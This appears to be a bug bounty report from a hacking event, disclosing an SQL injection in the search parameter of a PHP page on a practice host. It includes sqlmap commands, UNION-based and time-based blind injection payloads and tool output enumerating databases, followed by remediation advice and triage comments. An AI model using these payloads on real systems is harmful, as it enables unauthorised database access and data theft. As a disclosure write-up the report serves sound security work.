YesWeHack

#YWH-PGM14549-41 BB **Accepted**

SQL Injection through https://96ee4fe5f43a.3xploit.me via GET parameter

WOCS'Hack 2025

Submitted by **DirtyBst3rd** on **2025-04-26**

REPORT DETAILS

9.8 **CRITICAL**

CVSS

Bug type	SQL Injection (CWE-89)
CVE ID	
Impact	
Scope	*.3xploit.me
Endpoint	https://96ee4fe5f43a.3xploit.me/association/list.php
Severity	Critical
CVSS vector string	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerable part	get-parameter
Part name	search (GET parameter)
Payload	sqlmap -u "https://96ee4fe5f43a.3xploit.me/" --crawl=2 --forms --batch --dbs
Technical env.	Ubuntu, sqlmap
App. fingerprint	

BUG DESCRIPTION

DESCRIPTION

A SQL Injection vulnerability was discovered on the search GET parameter of the page /association/list.php.
This vulnerability allows a remote, unauthenticated attacker to manipulate SQL queries executed by the server.
The attacker can exfiltrate sensitive data from the backend MySQL database (my_association_db), and potentially perform other malicious actions such as escalating privileges or compromising the integrity of the server.

EXPLOITATION

Identify the injection point
The vulnerable parameter is search in the page /association/list.php, as observed by appending payloads to the URL:
https://96ee4fe5f43a.3xploit.me/index.php?page=association/list.php&search=

Use sqlmap to automate detection and exploitation
We launched sqlmap with the following command to test for SQL injection:
sqlmap -u "https://96ee4fe5f43a.3xploit.me/index.php?page=association/list.php&search=test" --batch --dbs

Findings:
sqlmap detected a UNION-based SQL injection.
sqlmap also confirmed a time-based blind SQL injection.

Details of the Injection
Union-based SQL injection payload:
page=association/list.php&search=gpjV' UNION ALL SELECT

```
NULL,NULL,CONCAT(0x7171717a71,0x526f6d75705754584249786257 6d724d49545576634561 6362506f6a62564
c7a686b4a70554b764d,0x716a6a7871),NULL,NULL,NULL,NULL,NULL-- -
```

Results:
We successfully enumerated the available databases:

information_schema
my_association_db

Confirmed that the back-end Database Management System (DBMS) is MySQL (MariaDB fork).
The application was vulnerable without any authentication requirement.

POC

The following sqlmap output demonstrates the vulnerability exploitation:

```
exegol-WocsHack /workspace # sqlmap -u "https://96ee4fe5f43a.3xploit.me/index.php?
page=association/list.php&search=test" --batch --dbs

[18:36:36] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set
its own ('PHPSESSID=4513db9211c...d786d2ce07'). Do you want to use those [Y/n] Y
[18:36:36] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:36:36] [INFO] testing if the target URL content is stable
[18:36:36] [INFO] target URL content is stable

$ sqlmap -u "https://96ee4fe5f43a.3xploit.me/index.php?page=association/list.php&search=test" --batch --dbs


    H
  _["]___   {1.9.3.3#dev}
|_ -| . [,]     | .'| . |
|_|  [(]|/|,|  /
      /|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end
user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not
responsible for any misuse or damage caused by this program

o starting @ 18:36:35 /2025-04-26/

[18:36:36] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=4513db9211c...d786d2ce07'). Do
you want to use those [Y/n] Y
[18:36:36] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:36:36] [INFO] testing if the target URL content is stable
[18:36:36] [INFO] target URL content is stable
[18:36:36] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in
'www.site.com/index.php?id=1'). You are advised to rerun with '--crawl=2'
o ending @ 18:36:36 /2025-04-26/

[18:41:49] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least
one other (potential) technique found
[18:41:49] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right
number of query columns. Automatically extending the range for current UNION query injection technique test
[18:41:50] [INFO] target URL appears to have 8 columns in query
[18:41:50] [INFO] GET parameter 'search' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable

GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N

sqlmap identified the following injection point(s) with a total of 133 HTTP(s) requests:
```

```
Parameter: search (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=association/list.php&search=gpjV' AND (SELECT 5302 FROM (SELECT(SLEEP(5)))JYfy) AND
'Hssd'='Hssd
    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: page=association/list.php&search=gpjV' UNION ALL SELECT
NULL,NULL,CONCAT(0x7171717a71,0x526f6d75705754584249786257 6d724d49545576634561 6362506f6a62564
c7a686b4a70554b764d,0x716a6a7871),NULL,NULL,NULL,NULL,NULL-- -
```

```
do you want to exploit this SQL injection? [Y/n] Y
[18:41:50] [INFO] the back-end DBMS is MySQL web application technology: PHP, PHP 8.2.28, Nginx back-end
DBMS: MySQL >= 5.0.12 (MariaDB fork)
[18:41:50] [INFO] fetching database names

available databases [2]:
```

o information_schema
o my_association_db

RISK

Sensitive data disclosure (users, passwords, internal business logic)
Privilege escalation (e.g., admin accounts)
Potential lateral movement if chained with other vulnerabilities (e.g., RCE)

REMEDIATION

Properly sanitize and validate user input for the search parameter.

COMMENTS

DirtyBst3rd on 2025-04-26 19:48:18 Everyone

New

WOCSA on 2025-04-26 19:50:29 Everyone

New → **Under Review**

WOCSA on 2025-04-26 21:49:20 Everyone

Ajout dans les remediations vu sur discord avec Rufus:

Use Prepared parameterized queries, instead of putting user input directly into SQL queries, you tell the database where user data will go and treat it safely.
Set up a WAF that can block common SQL Injection payloads automatically (example WAFs: AWS)

WOCSA on 2025-04-26 21:49:34 Everyone

✓ **5 pts** awarded for report quality.

WOCSA on 2025-04-26 21:49:40 Everyone

Under Review → **Accepted**